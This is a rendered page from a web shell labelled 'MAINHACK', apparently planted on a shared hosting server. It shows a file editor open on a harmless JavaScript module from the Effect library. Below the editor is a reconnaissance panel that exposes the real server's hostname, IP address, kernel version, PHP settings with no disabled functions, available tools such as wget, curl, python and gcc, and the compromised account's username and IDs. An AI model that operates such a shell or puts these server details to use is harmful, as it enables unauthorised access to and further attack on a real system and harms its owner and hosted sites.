[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TestAnnotationMap.js
/** * @since 2.0.0 */ import { dual } from "./Function.js"; import * as HashMap from "./HashMap.js"; import { hasProperty } from "./Predicate.js"; /** * @since 2.0.0 */ export const TestAnnotationMapTypeId = /*#__PURE__*/Symbol.for("effect/TestAnnotationMap"); /** @internal */ class TestAnnotationMapImpl { map; [TestAnnotationMapTypeId] = TestAnnotationMapTypeId; constructor(map) { this.map = map; } } /** * @since 2.0.0 */ export const isTestAnnotationMap = u => hasProperty(u, TestAnnotationMapTypeId); /** * @since 2.0.0 */ export const empty = () => new TestAnnotationMapImpl(HashMap.empty()); /** * @since 2.0.0 */ export const make = map => { return new TestAnnotationMapImpl(map); }; /** * @since 2.0.0 */ export const overwrite = /*#__PURE__*/dual(3, (self, key, value) => make(HashMap.set(self.map, key, value))); /** * @since 2.0.0 */ export const update = /*#__PURE__*/dual(3, (self, key, f) => { let value = key.initial; if (HashMap.has(self.map, key)) { value = HashMap.unsafeGet(self.map, key); } return overwrite(self, key, f(value)); }); /** * Retrieves the annotation of the specified type, or its default value if * there is none. * * @since 2.0.0 */ export const get = /*#__PURE__*/dual(2, (self, key) => { if (HashMap.has(self.map, key)) { return HashMap.unsafeGet(self.map, key); } return key.initial; }); /** * Appends the specified annotation to the annotation map. * * @since 2.0.0 */ export const annotate = /*#__PURE__*/dual(3, (self, key, value) => update(self, key, _ => key.combine(_, value))); /** * @since 2.0.0 */ export const combine = /*#__PURE__*/dual(2, (self, that) => { let result = self.map; for (const entry of that.map) { if (HashMap.has(result, entry[0])) { const value = HashMap.get(result, entry[0]); result = HashMap.set(result, entry[0], entry[0].combine(value, entry[1])); } else { result = HashMap.set(result, entry[0], entry[1]); } } return make(result); }); //# sourceMappingURL=TestAnnotationMap.js.map
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.83 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344